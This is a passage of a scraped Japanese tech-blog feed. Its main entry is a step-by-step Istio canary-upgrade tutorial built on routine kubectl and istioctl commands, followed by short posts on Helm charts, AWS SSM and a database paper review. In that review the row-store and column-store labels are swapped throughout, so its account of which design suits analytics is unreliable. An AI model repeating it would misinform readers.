はじめに隠しません。有吉弘行のサンデーナイトドリーマー が生きがいです。さて、最近の業務でIstio⛵️をひたすらアップグレードしています。今回は、採用したアップグレード手法の紹介も兼ねて、Istioの安全なアップグレード手法の仕組みを記事で解説しました。Istioのアップグレード手法には変遷があり、解説するのは執筆時点 (2023/02/26) 時点で最新の 1.14 系のアップグレード手法です。それでは、もりもり布教していきます\uD83D\uDE1702. なぜ安全なアップグレードが必要なのか起こりうる問題そもそも、なぜIstioで安全なアップグレードを採用する必要があるのでしょうか。Istioで問題が起こると、Pod内のistio-proxyコンテナが正しく稼働せず、システムに大きな影響を与える可能性があります。例えば、istio-proxyコンテナのPodへのインジェクションがずっと完了せず、アプリコンテナへの通信が全て遮断されるといったことが起こることがあります。採用するべきアップグレード手法執筆時点 (2023/02/26) では、IstioのIstiodコントロールプレーン (以降、Istiodとします) のアップグレード手法には、『インプレース方式』と『カナリア方式』があります。また合わせてアップグレードが必要なIstioのIngressGatewayには、その手法に『インプレース方式』があります。今回の安全なアップグレード手法として、Istiodでは『カナリアアップグレード』、IngressGatewayでは『インプレースアップグレード』を採用します。Istio / Canary UpgradesIstio / Installing Gateways03. アップグレード手法を説明する前にカナリアリリースとはIstiodのカナリアアップグレードが理解しやすくなるように、カナリアリリースから説明したいと思います。カナリアリリースは、実際のユーザーにテストしてもらいながらリリースする手法です。もしカナリアリリースをご存知の方は、 03. アップグレード手法の概要 まで飛ばしてください\uD83D\uDE47\uD83C\uDFFB‍カナリアリリースの手順カナリアリリースは、一部のユーザーを犠牲にすることになる一方で、アプリを実地的にテストできる点で優れています。手順を交えながら説明します。CanaryRelease(1) 新環境のリリース旧環境のアプリを残したまま、新環境をリリースします。この段階では、全てのユーザー (100%) を旧環境にルーティングします。(2) 新環境への重み付けルーティングロードバランサーで重み付けを変更し、一部のユーザー (ここでは10%) を新環境にルーティングします。(3) 実地的テストの実施ユーザーの手を借りて新環境を実地的にテストします (例：該当のエラーメトリクスが基準値を満たすか) 。(4) 重み付けの段階的変更新環境に問題が起こらなければ、重み付けを段階的に変更し、最終的には全てのユーザー (100%) を新環境にルーティングします。『カナリアリリース』の呼称の由来カナリアリリースについては、その呼称の由来を知ると、より理解が深まります。カナリアリリースは、20世紀頃の炭坑労働者の危機察知方法に由来します。炭鉱内には有毒な一酸化炭素が発生する場所がありますが、これは無色無臭なため、気づくことに遅れる可能性があります。そこで当時の炭鉱労働者は、一酸化炭素に敏感な『カナリア』を炭鉱内に持ち込み、カナリアの様子から一酸化炭素の存在を察知するようにしていたそうです。つまり、先ほどの『犠牲になる一部のユーザー』が、ここでいうカナリアというわけです\uD83D\uDE28画像引用元：George McCaa, U.S. Bureau of MinesAbout canary deployment in simple words04. アップグレード手法の概要カナリアリリースについて理解したところで、Istioの安全なアップグレード手法の概要を説明します。おおよそ以下の手順からなります。なお各番号は、04. アップグレード手法の詳細 の (1) 〜 (8) に対応しています。(1) アップグレード前の検証旧Istiodが稼働しています。ここで、アップグレードが可能かどうかを検証しておきます。(2) 新Istiodのインストール新Istiod (discoveryコンテナ) をインストールします。(3) Webhookの宛先のServiceの変更新Istiodのistio-proxyコンテナをインジェクションできるように、Webhookの宛先のServiceを変更します。この手順は重要で、後の (3) Webhookの宛先のServiceの変更 で詳細を説明しています。(4) IngressGatewayをインプレースアップグレードIngressGatewayをインプレースアップグレードします。(5) 一部のNamespaceのistio-proxyコンテナをアップグレード一部のNamespaceで、istio-proxyコンテナをカナリアアップグレードします。カナリアリリースのような重み付けがなく、カナリアアップグレードの『カナリア』という呼称に違和感を持つ方がいるかもしれません。これについては、全てのNamespaceのistio-proxyコンテナを一斉にアップグレードするのではなく、段階的にアップグレードしていく様子を『カナリア』と呼称している、と個人的に推測しています。もし『カナリアアップグレード』の由来をご存じの方は、ぜひ教えていただけると\uD83D\uDE47\uD83C\uDFFB‍(6) ユーザの手を借りたテストユーザーの手を借りて、実地的にテストします (例：該当のエラーメトリクスが基準値以下を満たすか) 。(7) istio-proxyコンテナの段階的なアップグレード新Istiodのistio-proxyコンテナに問題が起こらなければ、他のNamespaceでもistio-proxyコンテナを段階的にカナリアアップグレードしていきます。一方でもし問題が起これば、Namespaceのistio-proxyコンテナとIngressGatewayをダウングレードします。(8) 旧Istiodのアンインストール最後に、旧Istiodをアンインストールします。Istio / Canary Upgrades05. アップグレード手法の詳細istioctl コマンドを使用したアップグレードここからは、03. アップグレード手法の概要 を深ぼっていきます。今回は、ドキュメントで一番優先して記載されている istioctl コマンドを使用した手順 を説明します。なお各番号は、03. アップグレード手法の概要 の (1) 〜 (8) に対応しています。istioctlコマンド以外のツール (例：helmコマンド、helmfileコマンド、ArgoCD) を使用してもアップグレードできます。細かな手順が異なるだけで、アップグレード手法の概要に関しては同じです\uD83D\uDE46\uD83C\uDFFB‍前提Namespaceまず最初に、前提となる状況を設定しておきます。各Namespaceのistio.io/revラベルにdefaultが設定されているとします。$ kubectl get namespace -L istio.io/revNAME STATUS AGE REVfoo Active 34d defaultbar Active 34d defaultbaz Active 34d defaultistio-ingress Active 34d default...エイリアスはどんな値でも問題なく、よくあるエイリアスとしてdefaultやstableなどを使用します。さらに、マニフェストに書き起こすと以下のようになっています。apiVersion: v1kind: Namespacemetadata: name: foo labels: istio.io/rev: defaultこのistio.io/revラベルがあることにより、そのNamespaceのPodにistio-proxyコンテナを自動的にインジェクションします。istio-proxyコンテナのインジェクションの仕組みについては、こちら記事で説明してます。もし気になる方はこちらもよろしくどうぞ\uD83D\uDE47\uD83C\uDFFB‍Istiodすでに1-14-6のIstiodが動いており、1-15-4にカナリアアップグレードします。IstiodはDeployment配下のPodであり、このPodはIstiodの実体であるdiscoveryコンテナを持ちます。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-14-6 1/1 1 1 47s # 1-14-6IngressGatewayIngressGatewayはIstiodとは異なるNamespaceで動いており、インプレースアップグレードします。IngressGatewayはistio-proxyコンテナを持ちます。$ kubectl get deployment -n istio-ingressNAME READY UP-TO-DATE AVAILABLE AGEistio-ingressgateway 1/1 1 1 47sセキュリティのベストプラクティスでは、IstiodとIngressGatewayは異なるNamespaceで動かすことが推奨されています。Istio / Installing Gatewaysマイクロサービス各Namespaceでマイクロサービスが動いています。マイクロサービスのPodはistio-proxyコンテナを持ちます。$ kubectl get deployment -n fooNAME READY UP-TO-DATE AVAILABLE AGEfoo 2/2 1 1 47s...$ kubectl get deployment -n barNAME READY UP-TO-DATE AVAILABLE AGEbar 2/2 1 1 47s..$ kubectl get deployment -n bazNAME READY UP-TO-DATE AVAILABLE AGEbaz 2/2 1 1 47s...(1) アップグレード前の検証ここで実施することアップグレード前に、現在のKubernetes Clusterがアップグレード要件を満たしているかを検証します。Before you upgradeistioctl x precheckコマンドistioctl x precheckコマンドを実行し、アップグレード要件を検証します。問題がなければ、istioctlコマンドはNo issue ...の文言を出力します。$ istioctl x precheck✅ No issues found when checking the cluster.Istiois safe to install or upgrade! To get started, check out https://istio.io/latest/docs/setup/getting-started/もし、問題がある場合、istioctlコマンドはエラー文言を出力します。例えば、Istioのistio-proxyコンテナのインジェクションではkube-apiserverと通信する必要があります。そのため、kube-apiserverのバージョンが古すぎるせいでIstioが非対応であると、エラーになります\uD83D\uDE2Dkubectl getコマンド▼ IstiodのDeploymentkubectl getコマンドを実行し、現在のIstiodのバージョンを確認します\uD83D\uDC40まずはIstiodのDeploymentを確認すると、1-14-6のDeploymentがあります。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-14-6 1/1 1 1 47s # 1-14-6istio-proxyコンテナのインジェクションの仕組みでいうと、以下の赤枠の要素です\uD83D\uDC47▼ Webhookの宛先のService次に、 Serviceを確認すると、1-14-6のServiceがあります。$ kubectl get service -n istio-system -l app=istiodNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEistiod-1-14-6 ClusterIP 10.96.93.151 15010/TCP,15012/TCP,443/TCP,15014/TCP 109s # 1-14-6このServiceは、kube-apiserverからIstiodへのWebhookを仲介することにより、istio-proxyコンテナのインジェクションを可能にします。istio-proxyコンテナのインジェクションの仕組みでいうと、以下の赤枠の要素です\uD83D\uDC47▼ 宛先のServiceを決めるMutatingWebhookConfiguration最後に、MutatingWebhookConfigurationを確認すると、istio-revision-tag-<エイリアス>とistio-sidecar-injector-<リビジョン番号>のMutatingWebhookConfigurationがあります。$ kubectl get mutatingwebhookconfigurationsNAME WEBHOOKS AGEistio-revision-tag-default 2 114s # カナリアアップグレード用istio-sidecar-injector-1-14-6 2 2m16s # インプレースアップグレード用のため今回は言及しないistio-proxyコンテナのインジェクションの仕組みでいうと、以下の赤枠の要素です\uD83D\uDC47これらのうち、前者 (istio-revision-tag-<エイリアス>) をカナリアアップグレードのために使用します。このMutatingWebhookConfigurationは、Webhookの宛先のServiceを決めるため、結果的にistio-proxyコンテナのバージョンを決めます。ここで、MutatingWebhookConfigurationのistio.io/revラベルとistio.io/tagラベルの値も確認しておきます。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.metadata.labels\'...istio.io/rev: 1-14-6istio.io/tag: default...istio.io/revラベルはIstiodのバージョン、istio.io/tagラベルはこれのエイリアスを表しています。また、.webhooks[].namespaceSelectorキー配下のistio.io/revキーの検知ルールを確認します。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.webhooks[]\'...namespaceSelector: matchExpressions: - key: istio.io/rev operator: In values: - default...合わせて、.webhooks[].clientConfig.serviceキー配下のServiceを名前を確認します。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.webhooks[].clientConfig\'...service: name: istiod-1-14-6...ここで、重要な仕組みをおさらいします。Namespaceでistio.io/revラベルにdefaultを設定してあるとします。すると、上記のMutatingWebhookConfigurationがこれを検知します。MutatingWebhookConfigurationにはdefaultに対応するIstioのリビジョンが定義されており、kube-apiserverが特定のIstioのバージョンのServiceにWebhookを送信可能になります\uD83C\uDF89Istio / Safely upgrade the Istio control plane with revisions and tags(2) 新Istiodのインストールここで実施することそれでは、新Istiodをインストールします。Control planeistioctl versionコマンド新しくインストールするIstiodのバージョンは、istioctlコマンドのバージョンで決まります。そこで、istioctl versionコマンドを実行し、これのバージョンを確認します。$ istioctl versionclient version: 1.15.4 # アップグレード先のバージョンcontrol plane version: 1.14.6 # 現在のバージョンdata plane version: 1.14.6istioctl installコマンドカナリアアップグレードの場合、istioctl installコマンドを実行します。ドキュメントではrevisionキーの値がcanaryですが、今回は1-15-4とします。この値は、Istioが使用する様々なKubernetesリソースの接尾辞や、各リソースのistio.io/revラベルの値になります。$ istioctl install --set revision=1-15-4WARNING: Istio is being upgraded from 1.14.6 -> 1.15.4WARNING: Before upgrading, you may wish to use \'istioctl analyze\' to check for IST0002 and IST0135 deprecation warnings.✅ Istio core installed✅ Istiod installed✅ Ingress gateways installed✅ Installation completeThank you for installing Istio 1.15. Please take a few minutes to tell us about your install/upgrade experience!revisionキーを使用したカナリアリリースでは、2つの先のマイナーバージョンまでアップグレードできます。例えば、現在のIstioが1.14.6であるなら、1.16系まで対応しています\uD83D\uDC4DIstio / Canary Upgradeskubectl getコマンド▼ IstiodのDeploymentkubectl getコマンドを実行し、istioctl installコマンドで何をインストールしたのかを確認します\uD83D\uDC40まずはIstiodのDeploymentを確認すると、1-15-4というDeploymentが新しく増えています。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-14-6 1/1 1 1 47s # 1-14-6istiod-1-15-4 1/1 1 1 47s # 1-15-4接尾辞の1-15-4は、revisionキーの値で決まります。この段階では、旧Istiodと新Istioが並行的に稼働しており、kube-apiserverはまだ旧Istiodと通信しています今の状況は以下の通りです\uD83D\uDC47▼ Webhookの宛先のService次に Webhookの宛先のServiceを確認すると、istiod-1-15-4というServiceが新しく増えています。$ kubectl get service -n istio-system -l app=istiodNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEistiod-1-14-6 ClusterIP 10.96.93.151 15010/TCP,15012/TCP,443/TCP,15014/TCP 109s # 1-14-6istiod-1-15-4 ClusterIP 10.104.186.250 15010/TCP,15012/TCP,443/TCP,15014/TCP 87s # 1-15-4この段階では、まだWebhookの宛先はistiod-1-14-6のServiceです。今の状況は以下の通りです\uD83D\uDC47▼ Webhookの宛先のServiceを決めるMutatingWebhookConfiguration最後にMutatingWebhookConfigurationを確認すると、istio-sidecar-injector-1-15-4というMutatingWebhookConfigurationが新しく増えています。$ kubectl get mutatingwebhookconfigurationsNAME WEBHOOKS AGEistio-revision-tag-default 2 114s # カナリアアップグレードで使用するistio-sidecar-injector-1-14-6 2 2m16sistio-sidecar-injector-1-15-4 2 2m16sカナリアアップグレードでは、istio-revision-tag-<エイリアス>のMutatingWebhookConfigurationを使用します。今の状況は以下の通りです\uD83D\uDC47(3) Webhookの宛先のServiceの変更ここで実施することこの手順では、エイリアスのistio.io/tagラベルの値はそのままにしておき、一方でistio.io/revラベルの値を変更します。さらに、Webhookの宛先のServiceを変更します。Default tagSafely upgrade the Istio control plane with revisions and tagsistioctl tag setコマンドistioctl tag setコマンドを実行し、istio.io/revラベルの値と宛先のServiceを変更します。$ istioctl tag set default --revision 1-15-4 --overwrite実行後に、もう一度MutatingWebhookConfigurationを確認すると、istio.io/revラベルの値が変わっています。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.metadata.labels\'...istio.io/rev: 1-15-4istio.io/tag: default...また、Webhookの宛先のServiceも変わっています。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.webhooks[].clientConfig\'...service: name: istiod-1-15-4...これらにより、Webhookの宛先が 1-15-4 のService となります。そのため、 1-15-4 の istio-proxy コンテナをインジェクションできる ようになります。今の状況は以下の通りです\uD83D\uDC47(4) IngressGatewayをインプレースアップグレードここで実施することWebhookの宛先が1-15-4のServiceに変わったところで、IngressGatewayをインプレースアップグレードします。In place upgradekubectl rollout restartコマンドkubectl rollout restartコマンドを実行し、IngressGatewayをインプレースアップグレードします。$ kubectl rollout restart deployment istio-ingressgateway-n istio-ingress再作成したPodのイメージを確認してみると、istio-proxyコンテナを1-15-4にアップグレードできています。$ kubectl get pod bar -n bar -o yaml | yq \'.spec.containers[].image\'docker.io/istio/proxyv2:1.15.4 # istio-proxyコンテナkubectl getコマンドの代わりに、istioctl proxy-statusコマンドを使用して、アップグレードの完了を確認してもよいです。今の状況は以下の通りです\uD83D\uDC47(5) 一部のNamespaceのistio-proxyコンテナをアップグレードここで実施すること続けて、一部のNamespaceのistio-proxyコンテナをアップグレードします。Podの再作成により、新Istiodのistio-proxyコンテナがインジェクションされるため。istio-proxyコンテナをアップグレードできます。Data planekubectl rollout restartコマンド前提にあるように、Namespaceには foo bar baz があります。kubectl rollout restartコマンドを実行し、barのistio-proxyコンテナからアップグレードします。$ kubectl rollout restart deployment bar -n bar再作成したPodのイメージを確認してみると、istio-proxyコンテナを1-15-4にアップグレードできています。$ kubectl get pod bar -n bar -o yaml | yq \'.spec.containers[].image\'bar-app:1.0 # マイクロサービスdocker.io/istio/proxyv2:1.15.4 # istio-proxyコンテナkubectl getコマンドの代わりに、istioctl proxy-statusコマンドを使用して、アップグレードの完了を確認してもよいです。今の状況は以下の通りです\uD83D\uDC47(6) ユーザの手を借りたテストここで実施することIstioを部分的にアップグレードしたところで、アップグレードが完了したNamespaceをテストします。ユーザーの手を借りて実地的にテストします (例：該当のエラーメトリクスが基準値を満たすか) 。今の状況は以下の通りです\uD83D\uDC47もし問題が起こった場合もし問題が起こった場合、1-14-6にダウングレードしていきます。istioctl tag setコマンドを実行し、istio.io/revラベルの値を元に戻します。$ istioctl tag set default --revision 1-14-6 --overwriteその後、kubectl rollout restartコマンドの手順を実行し、istio-proxyコンテナをダウングレードしてきます。(7) istio-proxyコンテナの段階的なアップグレードここで実施すること先ほどのNamespaceで問題が起こらなければ、残ったNamespace (foo、baz、...) のistio-proxyコンテナも段階的にアップグレードしていきます。kubectl rollout restartコマンド同様にkubectl rollout restartコマンドを実行し、istio-proxyコンテナからアップグレードします。$ kubectl rollout restart deployment foo -n foo$ kubectl rollout restart deployment baz -n baz...最終的に、全てのNamespacemのistio-proxyコンテナが新しくなります。今の状況は以下の通りです\uD83D\uDC47(8) 旧Istiodのアンインストールここで実施すること最後に、旧Istiodのアンインストールします。Uninstall old control planeistioctl uninstallコマンドistioctl uninstallコマンドを実行し、旧Istiodをアンインストールします。$ istioctl uninstall --revision 1-14-6✅ Uninstall complete今の状況は以下の通りです\uD83D\uDC47kubectl getコマンド▼ IstiodのDeploymentkubectl getコマンドを実行し、istioctl uninstallコマンドで何をアンインストールしたのかを確認します\uD83D\uDC40まずはIstiodのDeploymentを確認すると、1-14-6というDeploymentが無くなっています。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-15-4 1/1 1 1 47s # 1-15-4▼ Webhookの宛先のService次に Webhookの宛先のServiceを確認すると、istiod-1-14-6というServiceが無くなっています。$ kubectl get service -n istio-system -l app=istiodNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEistiod-1-15-4 ClusterIP 10.104.186.250 15010/TCP,15012/TCP,443/TCP,15014/TCP 87s # 1-15-4▼ 宛先のServiceを決めるMutatingWebhookConfiguration最後にMutatingWebhookConfigurationを確認すると、istio-sidecar-injector-1-14-6というMutatingWebhookConfigurationが無くなっています。$ kubectl get mutatingwebhookconfigurationsNAME WEBHOOKS AGEistio-revision-tag-default 2 114s # 次のカナリアアップグレードでも使用するistio-sidecar-injector-1-15-4 2 2m16sこれで、新Istiodに完全に入れ替わったため、アップグレードは完了です。今の状況は以下の通りです\uD83D\uDC4706. おわりにIstioを安全にアップグレードするカナリア方式とその仕組みをもりもり布教しました。Istioへの愛が溢れてしまいました。これからIstioを採用予定の方は、Istioを安全にアップグレードするために十分に準備しておくことをお勧めします\uD83D\uDC4D","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/02/26/202548","isoDate":"2023-02-26T11:25:48.000Z","dateMiliSeconds":1677410748000,"authorName":"Hiroki Hasegawa","authorId":"hiroki-hasegawa"},{"title":"LINE に送ったメッセージを Google Home に読み上げさせる","contentSnippet":"令和の時代、家に固定電話はなく、外出先から家族に直ぐに答えて欲しいことがあってもスマホはマナーモードで手元に置いてなければ気づくことができません。 そんなわけで、","link":"https://blog.1q77.com/2023/02/line-bot-tts/","isoDate":"2023-02-25T12:51:58.000Z","dateMiliSeconds":1677329518000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"『自由研究には向かないウェブオペレーション』というタイトルで登壇しました。","contentSnippet":"概要【今更聞けない】Linuxのしくみ - Forkwell Library #16 というイベントに『自由研究には向かないウェブオペレーション - サイト運用管理を取り巻く環境の変化 Cloud Native時代に考えるLinux オペレーション』というタイトルで登壇しました。自由研究には向かないウェブオペレーションというのは2023年において我流でウェブオペレーションをやっていく限界があるという思いがあってこのタイトルにしました。が、タイトルが仰々しすぎて資料作成にとても時間がかかりました。資料登壇資料になります。 speakerdeck.comあとがき上記では我流でウェブオペレーションをやっていく限界があると言ってました。が、自由研究には向かない殺人という小説を直近で読んでいて依頼されたのでタイトルを拝借しただけでした。ウェブオペレーションに関していうとパブリッククラウドやIaCその他諸々の文化の登場や発展により2010年よりは洗練されていて実は知識体系を構築しようと思えばいくつかの括りでできたりするんじゃないかなと思って酔っ払った勢いでまとめてみた。ができたものを朝確認すると公開する自信がなかったのでやめておきました。どこかで修正して発表したいと思います。最近のアプリケーションはクラウド上のLinuxでビルドしてクラウド上のLinux でデプロイしてクラウド上のLinuxで動かすので結局様々な知識が求められるよって話でした。あと、関係ないのですが今回の登壇のためにAWSで実現するモダンアプリケーション入門を読みました。AWSを使わなくても具体的にモダンアプリケーションのインフラを考えるのにとても良い本だったので一緒にオススメしておきます。参考資料ウェブオペレーション［試して理解］Linuxのしくみ　―実験と図解で学ぶOS、仮想マシン、コンテナの基礎知識【増補改訂版】スーパーユーザーなら知っておくべきLinuxシステムの仕組み詳解 システム・パフォーマンス 第2版オブザーバビリティ・エンジニアリングAWSで実現するモダンアプリケーション入門 〜サーバーレス、コンテナ、マイクロサービスで何ができるのか継続的デリバリーのソフトウェア工学　もっと早く、もっと良いソフトウェアを作るための秘訣チームが機能するとはどういうことか──「学習力」と「実行力」を高める実践アプローチよ心理的安全性のつくりかた","link":"https://syu-m-5151.hatenablog.com/entry/2023/02/18/201252","isoDate":"2023-02-18T11:12:52.000Z","dateMiliSeconds":1676718772000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Helm Chart の歩き方 導入前に読みたいドキュメントについて","contentSnippet":"Helm を導入する前にChartについて読んでおいてほしいドキュメントをまとました。Chart の作成各ファイルの説明についてChart.yamlvalues.yaml.helmignoretemplate/templates/NOTES.txttemplates/_helpers.tplHelm について知るHelm Template Language の記法values.yaml へのアクセスHelm Template で利用できる関数Helm Chart で利用できる制御構文Named Templates を用いて一つのページで定義していく空白を管理する - の話Helm Chart をよくしていくHelm Chart のデバッグHelm Chart のリファクタリングHelm Chart のテストHelm Chart のリポジトリ化さいごに参考資料Chart の作成helm create でHelm Chart を作成します。Chart とは、Kubernetes リソースのまとまりを定義するファイル群のことです。helm create で構築したもの雛形はここでできます。中身を見れればなんとなく動きもわかるかもしれないので実際に手を動かしながら読んでもらえると嬉しいです。$ helm create mychartCreating mychart$ tree -a ./mychart./chart-namemychart/├── .helmignore├── Chart.yaml├── charts├── templates│\xa0\xa0 ├── NOTES.txt│\xa0\xa0 ├── _helpers.tpl│\xa0\xa0 ├── deployment.yaml│\xa0\xa0 ├── hpa.yaml│\xa0\xa0 ├── ingress.yaml│\xa0\xa0 ├── service.yaml│\xa0\xa0 ├── serviceaccount.yaml│\xa0\xa0 └── tests│\xa0\xa0 └── test-connection.yaml└── values.yamlこれにより、mychart ディレクトリが作成されます。特別なことがなければ基本的にはこれをベースに作成していくことになると思います。Helm CreateVim にもプラグイン があるので利用しているエディターごとに入れていただければと思います。各ファイルの説明について作成した mychart ディレクトリに移動して、Chart の設定を編集します。Chart.yamlChart.yaml は、作成した Chart のメタ情報を管理するファイルです。幾つかの必須パラメーターと追加のパラメーターがあります。詳細は公式のドキュメントを読んでください。Chart.yamlvalues.yamlvalues.yaml は、Helm Template Language で利用する変数の、デフォルト値を指定したファイルです。上書きしたい時は別途指定してあげます。チャート内のvalues.yamlファイルサブチャートの場合、親チャートのvalues.yamlファイルhelm install または helm upgrade に -f フラグを付けて渡した場合の values ファイル (helm install -f myvals.yaml ./mychart)set で渡される個々のパラメータ (helm install --set foo=bar ./mychart のように)Values Files.helmignoreChart をリポジトリ化する際には、作成したファイル一式を helm package コマンドを利用して tar ファイルにするのですが、.helmignore を利用すると、その tar ファイルに含めたくないファイルを指定できるようなります。The .helmignore filetemplate/templates/ はテンプレートファイル用のディレクトリです。テンプレートとして利用するファイルが納入されています。A First Templatetemplates/NOTES.txttemplates/NOTES.txt は、Chart をインストールやアップデートした時にターミナル上で表示される文言を記述できます。アクセスすべきURLやリリース結果が見れるものを記載したりしてます。{{ .Chart.Name }} や {{ .Chart.Version }} といった記述できます、これが Helm Template Language となります。Helm Template Language の記法については後述。Creating a NOTES.txt Filetemplates/_helpers.tpltemplates/\\\\_helpers.tpl は、マニフェストファイルではなく、マニフェストファイル内で利用されるグローバル変数（Helm では Named Template と呼ばれます）を定義したファイルとなります。Using \\"Partials\\" and Template IncludesHelm について知るHelm Template Language の記法コメントは # の他、{{/*...*/}}のような記法を利用できます。# を利用したコメントはデバッグモードで表示される、という違いがあります。Comments (YAML Comments vs. Template Comments)values.yaml へのアクセスBuilt-in Object とは、Helm Template Lunguage で利用できるオブジェクトというかインスタンスとなります。values.yaml 等に定義した値を取得するには、Values オブジェクト内のインスタンス変数 なになに にアクセスする、みたいな感じで利用するイメージとなります。Release のほか、Valuesや Chart といった Built-in Object を利用しています。Values は、values.yaml に定義された値へアクセスできるオブジェクトです。Chart は、Chart.yaml に定義された値へアクセスできるオブジェクトです。Built-in ObjectsHelm Template で利用できる関数Helmファイルを書いていくとこうしたいあぁしたいとなると思うのですがHelm Template Language 内では、様々な関数がビルトインされています。Helmは60以上の利用可能な関数を持っています。そのうちのいくつかは、Go Tepｍplate自体で定義されています。{{ .Release.Name | quote }} という記述があったとして、.Release.Name という値に対して、パイプを介し、 quote という引用符を付与する関数を実行しているものになります。こんな感じで、実行したい関数をパイプを介して記述していくことなります。Template Function ListHelm Chart で利用できる制御構文Helm には制御構造が利用できます。 これは、テンプレートの生成の流れを制御する機能を提供します。制御構文は、以下が用意されています。if/else for creating conditional blockswith to specify a scoperange, which provides a \\"for each\\"-style loopちなみにGo Tepｍplate自体で定義されています。Flow ControlNamed Templates を用いて一つのページで定義していく名前付きテンプレートとは、単にファイルの中で定義され、名前が付けられたテンプレートのことです。Named Template は、{{ define }} ... {{ end }} アクションで定義を行い、{{ template }} や {{ include }} アクションで、その値を利用することになります。Named Templatesちなみに{{ template }} でなく、 {{ include }} しないと、パイプを介した関数の実行できないため、{{ include }} が良い。Using the \'include\' Function空白を管理する - の話まず、テンプレート宣言の中括弧の構文を特別な文字で変更し、テンプレートエンジンに空白を切り詰めるように指示する。{{- xxx }} や {{ XX -}}とかで出てきているハイフンですが、これは Helm Template Lunguate を利用した行の空白を管理するものです。ハイフンの有無により空白の除去を実行してくれます。空白を消したあとにindentを追加するような形で利用したりもします。Helm Chart をよくしていくHelm Chart をデバッグしたりリファクタリングする時のヒントを書いていきます。Helm Chart のデバッグHelm Chart ではデバッグする方法をいくつか用意しています。Debugging Templateshelm lint は、Chart がベストプラクティスに沿っているかを確認するためのツールです。helm template --debug はローカルでChart template のレンダリングをテストします。困ったらこれでyaml を直接、確認します。helm install --dry-run --debugは、サーバーがテンプレートをレンダリングし、その結果のマニフェストファイルを返すという素晴らしい方法です。helm get manifestは、サーバーにインストールされているテンプレートを確認する良い方法です。Helm Chart のリファクタリングHelm Chart の品質をあげるためのヒントとコツをいくつか取り上げられています。テンプレートの関数を知り有用と判断すれば利用する文字列を引用する、整数を引用しない。これは絶対に頼む。1つのコマンドでリリースをインストールまたはアップグレードChart Development Tips and TricksHelm Chart のテストtemplates/tests/ ディレクトリ配下においたマニフェストファイルは、helm testコマンドにより実行することができます。Chart TestsHelm Chart のリポジトリ化リポジトリ化するには、index.yaml というファイルとChart 一式を固めた tar ファイルを静的 Web ホスティングサイトにアップロードすることで実現されます。The Chart Repository Guideさいごにこれもあれば読んでほしいという内容があれば名前付きで掲載させていただくので連絡いただきたいです。参考資料Helm Docs | Getting Started","link":"https://syu-m-5151.hatenablog.com/entry/2023/02/16/141433","isoDate":"2023-02-16T05:14:33.000Z","dateMiliSeconds":1676524473000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"運用の効率化を支える AWS Systems Manager Automation の紹介","contentSnippet":"AWS Systems Manager（SSM）では運用に役立つ機能が提供されています。 ただし、提供されている機能が多く、今まで使用した経験があるのは一部の機能に限られていましたので、どのようなことができるのか調べてみ […]The post 運用の効率化を支える AWS Systems Manager Automation の紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/aws-ssm-automation/","isoDate":"2023-02-16T02:40:28.000Z","dateMiliSeconds":1676515228000,"authorName":"Sreake","authorId":"Sreake"},{"title":"行指向と列指向の違いについての論文を読む","contentSnippet":"この記事の趣旨前回と同様にCMU Advanced Databas Systems Spring2023のReading Assignmentとして出ている論文を読み論文紹介のやり方 / How to reviewで紹介されている方法をまとめていきます。今回はBigQueryやSnowflake、Amazon Redshiftといった分析向けデータベースが採用している行指向ストア(Column-store)と列指向ストア(Row-store)の差と行指向ストアがのどうのような最適化がパフォーマンスに影響を与えているかについて扱った論文を読んで行きます。Column-Stores vs. Row-Stores: How Different Are They Really?研究全体の背景行指向データベースシステムは分析用ワークロードで列指向データベースシステムより優れたパフォーマンスを発揮することで知られている。なぜなら行指向ストアはクエリ実行に必要なデータのみをディスクまたはメモリから取得するため、優れたI/Oパフォーマンスを達成できるからである。問題意識垂直パーティショニングや全ての行をパーティショニングすることで、列指向データベースで行指向データベースのようなパフォーマンスを実現できるだろうか？ また行指向データベースが高速に動作するのはどのような最適化手法の影響が大きいのか？論文の目的列指向データベースで垂直パーティショニングやクエリ実行で使われる全ての行にインデックスを張るなどして、擬似的に行指向データベースを再現することで分析用途でのパフォーマンスが向上するのか？ また行指向データベースの高速化に用いられるテクニックを一つずつ無効化し、パフォーマンスを比較することでどのような要素が行指向データベースのパフォーマンスを向上させているかを検証しする。手法の説明Star Schema Benchmarkを用いてC-Storeと商用列指向データベースの比較を行う。リアライゼーション、ブロックプロセッシングをそれぞれ無効化しどの要素の影響が最も大きいか。またこの論文で提案されたinvisible joinの評価を行なう。結果列指向ストアに置けるマテリアライズトビューリアライズドビュー(MV)に比べ非常に優れたパフォーマンスを発揮する。一方でCSの一つの行にMVとして期待するアウトプットのタプルをStringとして保存すると、普通のRSよりも低いパフォーマンスとなる。 RS MV > RS > CS MVとなる。列指向ストアに行指向ストアを再現する一般的な列指向のアプローチを適用し、効果的であればbitmap1またはbloom filter2を適用する(T)一般的な列指向のアプローチを適用するが、bitmapを積極的に使用する(T(B))一つのテーブルを複数のテーブルとして垂直分割を行う(VP)全ての行にインデックスを貼り、値の読み込みは全てインデックス経由で行う(AI)結果としては平均してMV > T > T(B) > VP > 